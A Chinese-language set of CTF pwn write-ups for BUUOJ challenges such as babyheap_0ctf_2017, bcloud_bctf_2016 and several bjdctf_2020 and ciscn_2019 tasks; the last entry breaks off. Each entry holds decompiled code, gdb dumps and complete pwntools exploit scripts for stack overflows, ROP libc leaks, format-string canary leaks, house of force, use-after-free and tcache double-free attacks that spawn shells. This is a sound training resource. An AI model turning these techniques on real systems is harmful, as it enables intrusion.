3.5 填入onegadget
heap
0x55efd712d000 FASTBIN { prev_size = 0, size = 113, fd = 0x6161616161616161, bk = 0x6161616161616161, fd_nextsize = 0x6161616161616161, bk_nextsize = 0x6161616161616161 } 0x55efd712d070 FASTBIN { prev_size = 0, size = 113, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x55efd712d0e0 FASTBIN { prev_size = 0, size = 113, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x55efd712d150 { prev_size = 0, size = 0, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 }
gdb
pwndbg> x/gx 0x7f0f7c16ab10-35 0x7f0f7c16aaed <_IO_wide_data_0+301>: 0x0f7c169260000000 0x7f0f7c16aaf5 <_IO_wide_data_0+309>: 0x000000000000007f 0x7f0f7c16aafd: 0x4141414141414141 0x7f0f7c16ab05 <__memalign_hook+5>: 0x4141414141414141 0x7f0f7c16ab0d <__realloc_hook+5>: 0x0f7bdeb26a414141 0x7f0f7c16ab15 <__malloc_hook+5>: 0x000000000000007f
0x7f0f7bda6000+0x4526a=0x7f0f7bdeb26a =0x7f0f7c16ab0d <__realloc_hook+5>的数值
4.EXP
from pwn import *context.log_level = 'debug' libc = ELF("./libc-2.23.so" ) p = process("./babyheap_0ctf_2017" ) def Allocate (size ): p.sendlineafter("Command: " ,"1" ) p.sendlineafter("Size: " ,str (size)) def Fill (idx,content ): p.sendlineafter("Command: " ,"2" ) p.sendlineafter("Index: " ,str (idx)) p.sendlineafter("Size: " ,str (len (content))) p.sendlineafter("Content: " ,content) def Free (idx ): p.sendlineafter("Command: " ,"3" ) p.sendlineafter("Index: " ,str (idx)) def Dump (idx ): p.recvuntil("Command:" ) p.sendline("4" ) p.recvuntil("Index:" ) p.sendline(str (idx)) p.recvuntil('Content: \n' ) return p.recvline() def GDB (): context.terminal = ['tmux' ,'splitw' ,'-h' ] gdb.attach(p) Allocate(0x60 ) Allocate(0x30 ) Fill(0 ,"a" *0x60 +p64(0 )+p64(0x71 )) Allocate(0x100 ) Fill(2 ,"a" *0x20 +p64(0 )+p64(0x71 )) Free(1 ) Allocate(0x60 ) Fill(1 ,"a" *0x30 +p64(0 )+p64(0x111 )) Allocate(0x60 ) Free(2 ) print Dump(1 )leak = u64(Dump(1 )[-25 :-17 ]) print "leak:" +hex (leak)base=leak-0x3c4b78 malloc_hook=base+libc.sym['__malloc_hook' ] print hex (malloc_hook)Free(1 ) Fill(0 ,"a" *0x60 +p64(0 )+p64(0x71 )+p64(malloc_hook-35 )+p64(0 )) Allocate(0x60 ) Allocate(0x60 ) Fill(2 ,"A" *(35 -8 -8 )+p64(base+0x4526a )) Allocate(0x10 ) p.interactive()
bbys_tu_2016
1.checksec
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
main
int __cdecl main (int argc, const char **argv, const char **envp) { int v4; puts ("This program is hungry. You should feed it." ); __isoc99_scanf("%s" , &v4); puts ("Do you feel the flow?" ); return 0 ; }
printFlag
int printFlag () { char s; FILE *stream; stream = fopen("flag.txt" , "r" ); fgets(&s, 50 , stream); puts (&s); fflush(stdout ); return fclose(stream); }
简单栈溢出
3.EXP
from pwn import *context.log_level = "debug" p = remote("node3.buuoj.cn" ,28634 ) elf = ELF("./bbys_tu_2016" ) print_flag=elf.sym["printFlag" ] payload = 'a' *(0xc +8 +4 )+p32(print_flag) p.sendline(payload) print p.recv()p.interactive()
bcloud_bctf_2016
1.checksec
Arch: i386-32 -little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000 )
2.IDA
sub_80487A1
unsigned int sub_80487A1 () { char s; char *v2; unsigned int v3; v3 = __readgsdword(0x14 u); memset (&s, 0 , 0x50 u); puts ("Input your name:" ); safe_read((int )&s, 0x40 , 10 ); v2 = (char *)malloc (0x40 u); dword_804B0CC = (int )v2; strcpy (v2, &s); start_line((int )v2); return __readgsdword(0x14 u) ^ v3; }
s 的最大为0x40 ,v2 最大也为0x40
sub_8048779
int __cdecl sub_8048779 (int a1) { printf ("Hey %s! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!\n" , a1); return puts ("Now let's set synchronization options." ); }
这里就可以泄露 v2 指针的地址
sub_804884E
unsigned int sub_804884E () { char s; char *v2; int v3; char *v4; unsigned int v5; v5 = __readgsdword(0x14 u); memset (&s, 0 , 0x90 u); puts ("Org:" ); safe_read((int )&s, 0x40 , '\n' ); puts ("Host:" ); safe_read((int )&v3, 0x40 , '\n' ); v4 = (char *)malloc (0x40 u); v2 = (char *)malloc (0x40 u); dword_804B0C8 = (int )v2; dword_804B148 = (int )v4; strcpy (v4, (const char *)&v3); strcpy (v2, &s); puts ("OKay! Enjoy:)" ); return __readgsdword(0x14 u) ^ v5; }
因为这里是32位程序,而且 s 和 v2 的栈空间相差64,刚好可以覆盖 v2 的低地。然后到这一步的话, top chunk 又刚好在 v2 的下方,strcpy(v2, &s);将0x40 个字符 + v2 地址 + v3 内容一同复制进v2可以通过溢出覆盖 top chunk 的 size 域,符合了 HOF 的第一个条件 能够以溢出等方式控制到 top chunk 的 size 域
+-------------+----+--------------------------------+ | 0000009 C s | s | safe_read((int )&s, 0x40 , '\n' );| +---------------------------------------------------+ | 0000005 C | v2 | v2 = (char *)malloc (0x40 u); | +---------------------------------------------------+ | 00000058 | v3 |safe_read((int )&v3, 0x40 , '\n' );| +---------------------------------------------------+ strcpy (v2, &s);
3.思路
利用初始化名字处的漏洞泄漏堆的基地址。。
利用 house of force 将 top chunk 分配至全局的 0x0804B0A0 的 ¬esize-8 处,当再次申请内存时,便返回notesize 地址处的内存,从而我们就可以控制所有note 的大小以及对应的地址了。
修改前三个 note 的大小为16,并修改其指针为 free@got ,notesize ,libc_start
将 free@got 修改为 puts@plt 。
泄漏 libc_start 地址。
再次修改另外一个 free@got 项为 system 地址,从而拿到shell。
4.gdb
0x1 leak_addr
0x804c000: 0x0000004900000000 0x6161616161616161 0x804c010: 0x6161616161616161 0x6161616161616161 0x804c020: 0x6161616161616161 0x6161616161616161 0x804c030: 0x6161616161616161 0x6161616161616161 0x804c040: 0x6161616161616161 0x00020f000804c008
0x00020f000804c008发现距离地址相差 8 ,所以之后要去减去
sh.sendafter("Input your name:\n" ,'a' *0x40 ) sh.recvuntil('a' *0x40 ) leak = u32(sh.recv(4 )) - 8 log.success("leak addr > 0x%x" ,leak) gdb.attach(sh) 0x9e89000 : 0x0000004900000000 0x6161616161616161 0x9e89010 : 0x6161616161616161 0x6161616161616161 0x9e89020 : 0x6161616161616161 0x6161616161616161 0x9e89030 : 0x6161616161616161 0x6161616161616161 0x9e89040 : 0x6161616161616161 0x00020f0009e89008 0x9e89050 : 0x0000000000000000 0x0000000000000000 gef➤ heap chunks Chunk(addr=0x9e89008 , size=0x48 , flags=PREV_INUSE) ·········································· Chunk(addr=0x9e89050 , size=0x48 , flags=PREV_INUSE) ·········································· Chunk(addr=0x9e89098 , size=0x48 , flags=PREV_INUSE) ·········································· Chunk(addr=0x9e890e0 , size=0x20e70 , flags=PREV_INUSE) ← top chunk ·········································· >>>hex (0x9e890e0 - 0x9e89008 ) 0xd8
0x2 hof
sh.sendafter("Org:\n" ,'a' *64 ) sh.sendlineafter("Host:\n" ,p32(0xffffffff )) log.success("top chunk > 0x%x" ,top_chunk) 0x9e89008 : 0x6161616161616161 0x6161616161616161 0x9e89018 : 0x6161616161616161 0x6161616161616161 0x9e89028 : 0x6161616161616161 0x6161616161616161 0x9e89038 : 0x6161616161616161 0x6161616161616161 0x9e89048 : 0x0000004909e89008 0x00000000ffffffff 0x9e89058 : 0x0000000000000000 0x0000000000000000 0x9e89068 : 0x0000000000000000 0x0000000000000000 0x9e89078 : 0x0000000000000000 0x0000000000000000 0x9e89088 : 0x0000000000000000 0x0000004900000000 0x9e89098 : 0x6161616161616161 0x6161616161616161 0x9e890a8 : 0x6161616161616161 0x6161616161616161 0x9e890b8 : 0x6161616161616161 0x6161616161616161 0x9e890c8 : 0x6161616161616161 0x6161616161616161 0x9e890d8 : 0xffffffff09e89098 0x0000000000000000 0x9e890e8 : 0x0000000000000000 0x0000000000000000 0x9e890f8 : 0x0000000000000000 0x0000000000000000 gef➤ heap chunks Chunk(addr=0x9e89008 , size=0x48 , flags=PREV_INUSE) Chunk(addr=0x9e89050 , size=0x48 , flags=PREV_INUSE) Chunk(addr=0x9e89098 , size=0x48 , flags=PREV_INUSE) Chunk(addr=0x9e890e0 , size=0xfffffff8 , flags=PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA) ← top chunk
top chunk 的 size 域被改变了
0x3 迁移top chunk
notesize_addr = 0x0804B0A0 notelist_addr = 0x0804B120 target = notesize_addr - 8 offset = target - top_chunk - 8 log.success("offset > " +hex (offset)) add(offset,"aaaa" ) [+] 1st chunk addr > 0x9f8c000 [+] top chunk > 0x9f8c0d8 [+] offset > -0x1f41048 0x804b098 PREV_INUSE { prev_size = 0 , size = 32772153 , fd = 0xfe0befb8 , bk = 0x0 , fd_nextsize = 0x0 , bk_nextsize = 0x0 }
发现多了这个 chunk ,地址=notesize_addr - 8
说明迁移成功,那么下一次就会分配chunk到这里来
0x4 free@got 泄露
payload = p32(16 ) * 3 payload += (notelist_addr - notesize_addr - 12 ) * 'a' payload += p32(elf.got['free' ]) + p32(elf.got['atoi' ]) * 2 add(1000 ,payload) 0x804b098 : 0x00000000 0x01f41039 0xfe0befb8 0x00000000 0x804b0a8 : 0x00000000 0x00000000 0x00000000 0x00000000 0x804b0b8 : 0x00000000 0x00000000 0x00000000 0x00000000 0x804b0c8 : 0x09f8c098 0x09f8c008 0x00000000 0x00000000
5.EXP
from pwn import *context.arch = "i386" elf = ELF("./bcloud_bctf_2016" ) libc = ELF("/home/joe1sn/libc/32/libc-2.23.so" ) sh = remote("node3.buuoj.cn" ,29429 ) def add (size,text ): sh.sendlineafter(">>" ,"1" ) sh.sendlineafter(":" ,str (size)) if size > 0 : sh.recvuntil(":" ) sh.send(text) def edit (idx,text ): sh.sendlineafter(">>" ,"3" ) sh.sendlineafter(":" ,str (idx)) sh.sendafter(":" ,text) def delete (idx ): sh.sendlineafter(">>" ,"4" ) sh.sendlineafter(":" ,str (idx)) if __name__ == '__main__' : sh.sendafter(":" ,"b" * 0x40 ) sh.recvuntil("b" * 0x40 ) heap_base = u32(sh.recv(4 )) - 8 top_chunk = heap_base + 0xd8 log.success("1st chunk > " +hex (heap_base)) log.success("top chunk > " +hex (top_chunk)) sh.recvuntil(":" ) sh.send(0x40 * "a" ) sh.recvuntil(":" ) sh.sendline("\xff" * 0x4 ) notesize_addr = 0x0804B0A0 notelist_addr = 0x0804B120 offset = notesize_addr - top_chunk - 0x10 add(offset,'' ) payload = p32(0x400 ) * 10 payload = payload.ljust(0x0804B120 - 0x0804B0A0 ,'\x00' ) payload += p32(elf.got['free' ]) payload += p32(notesize_addr) payload += p32(elf.got['__libc_start_main' ]) add(0x400 ,payload + "\n" ) edit(0 ,p32(elf.plt['puts' ]) + "\n" ) delete(2 ) __libc_start_main = u32(sh.recvuntil('\xf7' )[-4 :]) base = __libc_start_main - libc.symbols['__libc_start_main' ] system = base + libc.symbols['system' ] binsh = base + libc.search("/bin/sh\x00" ).next () log.success('libc base addr: ' + hex (base)) log.success('system addr: ' + hex (system)) log.success('/bin/sh addr: ' + hex (binsh)) edit(0 ,p32(system) + "\n" ) edit(1 ,payload + p32(binsh) + "\n" ) delete(3 ) sh.interactive()
bjdctf_2020_babyrop
1.checksec
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
vuln
ssize_t vuln () { char buf; puts ("Pull up your sword and tell me u story!" ); return read(0 , &buf, 0x64 uLL); }
溢出+libc leak
3.EXP
from pwn import *context.log_level = "debug" p = remote("node3.buuoj.cn" ,29594 ) elf = ELF("./bjdctf_2020_babyrop" ) libc = ELF("./libc-2.23.so" ) puts_plt = elf.plt["puts" ] read_got = elf.got["read" ] main_addr = elf.sym["main" ] pop_rdi_ret = 0x0000000000400733 payload = "a" *(0x20 +8 ) payload += p64(pop_rdi_ret)+p64(read_got) payload += p64(puts_plt)+p64(main_addr) p.recvuntil("story!\n" ) p.sendline(payload) leak_addr = u64(p.recv(6 ).ljust(8 ,"\x00" )) libc_base = leak_addr-libc.sym["read" ] sys_addr = libc_base+libc.sym["system" ] binsh = libc_base+libc.search("/bin/sh" ).next () ''' libc = LibcSearcher("read",leak_addr) libc_base = leak_addr-libc.dump("read") sys_addr = libc_base+libc.dump("system") binsh = libc_base+libc.dump("str_bin_sh") ''' log.info("libc base=>%x" ,libc_base) log.info("system addr=>%x" ,sys_addr) log.info("/bin/sh=>%x" ,binsh) payload = 'a' *(0x20 +8 ) payload += p64(pop_rdi_ret)+p64(binsh) payload += p64(sys_addr) p.sendlineafter("story!" ,payload) p.interactive()
bjdctf_2020_babyrop2
1.checksec
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
gift
unsigned __int64 gift () { char format; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("I'll give u some gift to help u!" ); __isoc99_scanf("%6s" , &format); printf (&format, &format); puts (byte_400A05); fflush(0LL ); return __readfsqword(0x28 u) ^ v2; }
vuln
unsigned __int64 vuln () { char buf; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("Pull up your sword and tell me u story!" ); read(0 , &buf, 0x64 uLL); return __readfsqword(0x28 u) ^ v2; }
从gift利用字符串格式化漏洞泄露canary,再利用vuln执行漏洞
3.EXP
from pwn import *from LibcSearcher import *context.log_level = "debug" elf= ELF("./bjdctf_2020_babyrop2" ) p = remote("node3.buuoj.cn" ,"27381" ) p.sendlineafter("to help u!\n" ,"%7$p" ) p.recvuntil("0x" ) canary=int (p.recv(16 ),16 ) success("Canary=>0x%x" ,canary) pop_rdi_ret = 0x0400993 payload = 'a' *0x18 +p64(canary)+'a' *8 payload += p64(pop_rdi_ret)+p64(elf.got["puts" ]) payload += p64(elf.plt["puts" ])+p64(elf.sym["vuln" ]) p.sendlineafter("tell me u story!" ,payload) leak = u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,"\x00" )) libc = LibcSearcher("puts" ,leak) base = leak-libc.dump("puts" ) sys_addr = base + libc.dump("system" ) binsh = base+ libc.dump("str_bin_sh" ) payload='a' *0x18 +p64(canary)+p64(0 ) payload+=p64(pop_rdi_ret)+p64(binsh) payload+=p64(sys_addr) p.sendlineafter("!" ,payload) p.interactive()
bjdctf_2020_babystack
1.checksec
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
main
int __cdecl main (int argc, const char **argv, const char **envp) { char buf; size_t nbytes; setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 1 , 0LL ); LODWORD(nbytes) = 0 ; puts ("**********************************" ); puts ("* Welcome to the BJDCTF! *" ); puts ("* And Welcome to the bin world! *" ); puts ("* Let's try to pwn the world! *" ); puts ("* Please told me u answer loudly!*" ); puts ("[+]Are u ready?" ); puts ("[+]Please input the length of your name:" ); __isoc99_scanf("%d" , &nbytes); puts ("[+]What's u name?" ); read(0 , &buf, (unsigned int )nbytes); return 0 ; }
back_door
signed __int64 backdoor () { system("/bin/sh" ); return 1LL ; }
nbytes可以被我们控制,从而造成栈溢出
3.EXP
from pwn import *context.log_level = "debug" p = remote("node3.buuoj.cn" ,25325 ) p.sendlineafter(":" ,str (0x100 )) p.sendlineafter("?" ,'a' *0x18 +p64(0x04006EA )) p.interactive()
bjdctf_2020_babystack2
1.checksec
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
main
int __cdecl main (int argc, const char **argv, const char **envp) { char buf; size_t nbytes; setvbuf(_bss_start, 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 1 , 0LL ); LODWORD(nbytes) = 0 ; puts ("**********************************" ); puts ("* Welcome to the BJDCTF! *" ); puts ("* And Welcome to the bin world! *" ); puts ("* Let's try to pwn the world! *" ); puts ("* Please told me u answer loudly!*" ); puts ("[+]Are u ready?" ); puts ("[+]Please input the length of your name:" ); __isoc99_scanf("%d" , &nbytes); if ( (signed int )nbytes > 10 ) { puts ("Oops,u name is too long!" ); exit (-1 ); } puts ("[+]What's u name?" ); read(0 , &buf, (unsigned int )nbytes); return 0 ; }
(signed int)nbytes 为正整数,所以存在整数溢出漏洞
backdoor
signed __int64 backdoor () { system("/bin/sh" ); return 1LL ; }
3.EXP
from pwn import *context.log_level = "debug" elf = ELF("./bjdctf_2020_babystack2" ) p = remote("node3.buuoj.cn" ,"28949" ) back_door = 0x0400726 payload = 'a' *0x18 +p64(back_door) p.sendlineafter(":\n" ,'-1' ) p.sendlineafter("?\n" ,payload) p.interactive()
bjdctf_2020_router
1.checksec
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.运行
Welcome to BJDCTF router test program! 1.ping 2.test 3.leave comments 4.root 5.exit Please input u choose:
根本不用EXP,考察的是linux的 命令是利用;分割的
3.EXP
from pwn import *p = process('./bjdctf_2020_router' ) elf = ELF('./bjdctf_2020_router' ) context.log_level = 'debug' p.recv() p.sendline("1" ) p.recv() p.sendline(';/bin/sh' ) p.interactive()
bjdctf_2020_YDSneedGrirlfriend
1.checksec
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
基本功能
def add (sz,text ): sh.sendlineafter("Your choice :" ,"1" ) sh.sendlineafter("Her name size is :" ,str (sz)) sh.sendlineafter("Her name is :" ,text) def delete (idx ): sh.sendlineafter("Your choice :" ,"2" ) sh.sendlineafter("Index :" ,str (idx)) def show (idx ): sh.sendlineafter("Your choice :" ,"3" ) sh.sendlineafter("Index :" ,str (idx))
del_girlfriend
if ( v1 >= 0 && v1 < count ) { if ( girlfriendlist[v1] ) { free (*((void **)girlfriendlist[v1] + 1 )); free (girlfriendlist[v1]); puts ("Success" ); } }
释放后指针没有置0,造成 use after free
print_girlfriend_name
int __fastcall print_girlfriend_name (__int64 a1) { return puts (*(const char **)(a1 + 8 )); }
位于所申请的chunk中,可以通过之前的uaf漏洞将其改写
back_door
int backdoor () { puts ("YDS get N+ girlfriend!" ); return system("/bin/sh" ); }
直接覆盖print_girlfriend_name 为 back_door 就行了
3.EXP
from pwn import *elf = ELF('bjdctf_2020_YDSneedGrirlfriend' ) libc = ELF("/home/joe1sn/libc/64/libc-2.23.so" ) sh = 0 def add (sz,text ): sh.sendlineafter("Your choice :" ,"1" ) sh.sendlineafter("Her name size is :" ,str (sz)) sh.sendlineafter("Her name is :" ,text) def delete (idx ): sh.sendlineafter("Your choice :" ,"2" ) sh.sendlineafter("Index :" ,str (idx)) def show (idx ): sh.sendlineafter("Your choice :" ,"3" ) sh.sendlineafter("Index :" ,str (idx)) def main (ip,port,mode,debug ): global sh if debug==0 : context.log_level = "debug" else : pass if mode==0 : sh = process("bjdctf_2020_YDSneedGrirlfriend" ) else : sh = remote(ip,port) add(0x60 ,'aaaa' ) add(0x60 ,'bbbb' ) delete(0 ) delete(1 ) add(0x10 ,p64(0x400B9C )) show(0 ) sh.interactive() if __name__ == '__main__' : main("node3.buuoj.cn" ,"27659" ,1 ,1 )
ciscn_2019_c_1
环境:Ubuntu18
1.checksec
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
main
int __cdecl main (int argc, const char **argv, const char **envp) { FILE *v3; setvbuf(_bss_start, 0LL , 2 , 0LL ); v3 = stdin ; setvbuf(stdin , 0LL , 2 , 0LL ); func(v3, 0LL ); return 0 ; }
func
int func () { int result; char v1; float v2; v2 = 0.0 ; puts ("Let's guess the number." ); gets(&v1); if ( v2 == 11.28125 ) result = system("cat /flag" ); else result = puts ("Its value should be 11.28125" ); return result; }
string
LOAD:0000000000400238 0000001C C /lib64/ld-linux-x86-64.so.2 LOAD:0000000000400399 0000000A C libc.so.6 LOAD:00000000004003A3 00000005 C gets LOAD:00000000004003A8 00000005 C puts LOAD:00000000004003AD 00000006 C stdin LOAD:00000000004003B3 00000007 C stdout LOAD:00000000004003BA 00000007 C system LOAD:00000000004003C1 00000008 C setvbuf LOAD:00000000004003C9 00000012 C __libc_start_main LOAD:00000000004003DB 0000000F C __gmon_start__ LOAD:00000000004003EA 0000000C C GLIBC_2.2.5 .rodata:00000000004007B4 00000018 C Let's guess the number. .rodata:00000000004007CC 0000000A C cat /flag .rodata:00000000004007D6 0000001D C Its value should be 11.28125 .eh_frame:000000000040089F 00000006 C ;*3$\"
v1的栈空间覆盖到v2
3.EXP
from pwn import *p = remote("node3.buuoj.cn" ,26782 ) number_addr = 0x41348000 payload = '\x00' *(0x30 -4 ) + p64(number_addr) p.sendlineafter("Let's guess the number.\n" ,payload) print p.recv()
number是地址下面保存的16进制值
ciscn_2019_en_2
和ciscn_2019_c_1一样
ciscn_2019_en_3
1.checksec
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
2.IDA
main
puts ("Welcome to the story kingdom." ); puts ("What's your name?" ); read(0 , &buf, 0x20 uLL); _printf_chk(1LL , (__int64)&buf); puts ("Please input your ID." );
字符串格式化漏洞,可以从这里泄露libc base
只有两个有效功能
def add (sz,text ): p.sendlineafter(": " ,"1" ) p.sendlineafter(": " ,str (sz)) p.sendlineafter(": " ,text) def delete (idx ): p.sendlineafter(": " ,"4" ) p.sendlineafter(": " ,str (idx))
main
puts ("Welcome to the story kingdom." );puts ("What's your name?" );read(0 , &buf, 0x20 uLL); _printf_chk(1LL , &buf); puts ("Please input your ID." );read(0 , &s, 8uLL ); puts (&s);
字符串格式化漏洞,printf_chk函数,导致你在使用%a$p时需要同时使用%(1到a)$p才可以,并且禁用了%n,所以利用格式化字符串写的这条路基本被pass掉,只有可能进行一些简单的leak
delete
unsigned __int64 delete () { int v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("Please input the index:" ); _isoc99_scanf("%d" , &v1); free (qword_202068[2 * v1]); puts ("Done!" ); return __readfsqword(0x28 u) ^ v2; }
指针未清0
3.GDB
p.sendlineafter('name?' ,'aaaaaa' ) gdb.attach(p) p.sendlineafter('ID.' ,'2' *8 ) leak = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) log.success('leak addr => 0x%x' ,leak) 0x7fffa19cf4b0 ◂— 0x3232323232323232 ('22222222' )0x7fffa19cf4b8 —▸ 0x7fc2db859237 (setbuffer+231 ) ◂— test dword ptr [rbx], 0x8000 0x7fffa19cf4c0 ◂— 0xa616161616161 /* 'aaaaaa\n' */
这个时候0x7fffa19cf4b0被填充完全,接着输出就会输出0x7fffa19cf4b8的内容,0x7fffa19cf4b8的内容就是0x7fc2db859237 (setbuffer+231),所以得出这时的libc_now=0x7fc2db859237 - 231,那么libc base = libc_now - libc.sym["setbuffer"]
接着就是填入/bin/sh,改_free_hook为system
4.EXP
from pwn import *context.log_level = "debug" elf = ELF("./ciscn_2019_en_3" ) libc = ELF("/mnt/d/CTF/Question/BUUCTF/libc/64/libc-2.27.so" ) p = remote("node3.buuoj.cn" ,"27106" ) def add (sz,text ): p.sendlineafter("choice:" ,"1" ) p.sendlineafter(": \n" ,str (sz)) p.sendlineafter(": \n" ,text) def delete (idx ): p.sendlineafter("choice:" ,"4" ) p.sendlineafter(":\n" ,str (idx)) if __name__ == '__main__' : p.sendlineafter('name?' ,'aaaaaa' ) p.sendlineafter('ID.' ,'2' *8 ) libcbase=u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' ))-231 -libc.sym['setbuffer' ] free_hook=libcbase+libc.sym['__free_hook' ] system=libcbase+libc.sym['system' ] log.success('libc base => 0x%x' ,libcbase) log.success('free hook => %x' ,free_hook) log.success('sys addr => 0x%x' ,system) add(0x20 ,'aaaa' ) add(0x20 ,'/bin/sh\x00' ) delete(0 ) delete(0 ) add(0x20 ,p64(free_hook)) add(0x20 ,'dd' ) add(0x20 ,p64(system)) delete(1 ) p.interactive()
ciscn_2019_es_1
1.checksec
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
2.IDA
def add (sz,name,call ): p.sendlineafter("choice:" ,'1' ) p.sendlineafter("Please input the size of compary's name\n" ,str (sz)) p.sendlineafter("please input name:" ,name) p.sendlineafter("please input compary call:" ,call) def show (idx ): p.sendlineafter("choice:" ,'2' ) p.sendlineafter("index:\n" ,str (idx)) def free (idx ): p.sendlineafter("choice:" ,'3' ) p.sendlineafter("index:\n" ,str (idx))
add
puts ("please input name:" ); read(0 , (void *)*heap_addr_4080[heap_number], (unsigned int )size);
这个可以直接让我们写到chunk->fd的位置
call
if ( heap_addr_4080[v1] ) free ((void *)*heap_addr_4080[v1]); puts ("You try it!" ); puts ("Done" ); return __readfsqword(0x28 u) ^ v2; }
这里没有释放后没有清零,use after free
思路
1.利用show函数泄露libc
2.程序里面有个uaf ,利用这个进行double_free 来修改tcache里面的fd 指针,从而将free_hook改为_libc_system
3.free掉我们提前埋下的**/bin/sh**的chunk,从而getshell
3.gdb
利用show函数泄露libc
add(0x410 ,'aaaa' ,'123' ) add(0x20 ,"bbbb" ,'124' ) add(0x20 ,"/bin/sh\x00" ,'125' ) free(0 ) show(0 )
2.程序里面有个uaf ,利用这个进行double_free 来修改tcache里面的fd 指针,从而将free_hook改为_libc_system
gdb
pwndbg> bin tcachebins 0x30 [ 2]: 0x55ce4a46d6c0 ◂— 0x55ce4a46d6c0 fastbins 0x20: 0x0 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x55ce4a46d270 —▸ 0x7ff520e96ca0 (main_arena+96) ◂— 0x55ce4a46d270 smallbins empty largebins empty
修改free_hook
add(0x28 ,p64(free_hook),'126' ) add(0x28 ,'111' ,'127' ) add(0x28 ,p64(system),'128' )
4.EXP
这里是改free为system,所以就必须先libc leak,
from pwn import *elf = ELF("ciscn_s_6" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) sh = 0 def add (sz,name,call ): sh.sendlineafter("choice:" ,'1' ) sh.sendlineafter("Please input the size of compary's name\n" ,str (sz)) sh.sendlineafter("please input name:" ,name) sh.sendlineafter("please input compary call:" ,call) def show (idx ): sh.sendlineafter("choice:" ,'2' ) sh.sendlineafter("index:\n" ,str (idx)) def free (idx ): sh.sendlineafter("choice:" ,'3' ) sh.sendlineafter("index:\n" ,str (idx)) def main (ip,port,debug,mode ): global sh if debug==0 : context.log_level = "debug" else : pass if mode==0 : sh = process("ciscn_s_6" ) else : sh = remote(ip,port) add(0x410 ,'aaaa' ,'123' ) add(0x20 ,"bbbb" ,'124' ) add(0x20 ,"/bin/sh\x00" ,'125' ) free(0 ) show(0 ) leak_addr = u64(sh.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) libc_base = leak_addr-96 -0x10 -libc.sym["__malloc_hook" ] free_hook=libc_base+libc.sym["__free_hook" ] system = libc_base+libc.sym["system" ] log.info("libc base=>%x" ,libc_base) log.info("free_hook=>%x" ,free_hook) log.info("system real=>%x" ,system) free(1 ) free(1 ) add(0x28 ,p64(free_hook),'126' ) add(0x28 ,'111' ,'127' ) add(0x28 ,p64(system),'128' ) free(2 ) sh.interactive() if __name__ == '__main__' : main("node3.buuoj.cn" ,"28066" ,0 ,0 )
为什么是0x3c4b78?
动态调试出来,泄露的unsorted bin地址减去vmmap下查看的libc基址
add(0x410,‘aaaa’,‘123’),为什么是0x410?
因为add对申请的堆的大小没有限制,而申请一个大的堆块(>0x400),这个堆块被free后就会直接被分配进入unsorted bin
ciscn_2019_es_2
1.checksec
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
main
int __cdecl main (int argc, const char **argv, const char **envp) { init(); puts ("Welcome, my friend. What's your name?" ); vul(); return 0 ; }
vul
int vul () { char s; memset (&s, 0 , 0x20 u); read(0 , &s, 0x30 u); printf ("Hello, %s\n" , &s); read(0 , &s, 0x30 u); return printf ("Hello, %s\n" , &s); }
hack
int hack () { return system("echo flag" ); }
因为有system,可以不用libc_leak,但是要泄露EBP
====system("/bin/sh\x00") ====must size()=0x28=40 ====then can overflow | a*4 | | a*4 | | Addr_1 | | b*4 | | sys_plt | | sys_ret | | Addr_2 | | /bin | | /sh\x00 | | 对齐 | =====ret_addr: | Addr_3 | ========== 0x28+4=44=0x2c= Addr_3 Addr_1=44-4-4=36=0x24 Addr_2=44-4*5=24=0x1c(sys_ret不在ebp上偏移传参)
3.EXP
from pwn import *context.log_level = "debug" p = remote("node3.buuoj.cn" ,29643 ) elf = ELF("./ciscn_2019_es_2" ) sys_addr = 0x8048400 pl = 'a' *0x20 +"b" *8 p.send(pl) p.recvuntil('b' *8 ) ebp = u32(p.recv(4 )) print (hex (ebp))pl2=('a' *8 +p32(ebp-0x24 )+'bbbb' +p32(sys_addr)+'cccc' +p32(ebp-0x1c )+'/bin/sh\x00' ).ljust(0x28 ,'p' )+p32(ebp-0x2c ) p.send(pl2) p.interactive()
ciscn_2019_es_7
1.checksec
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
vuln
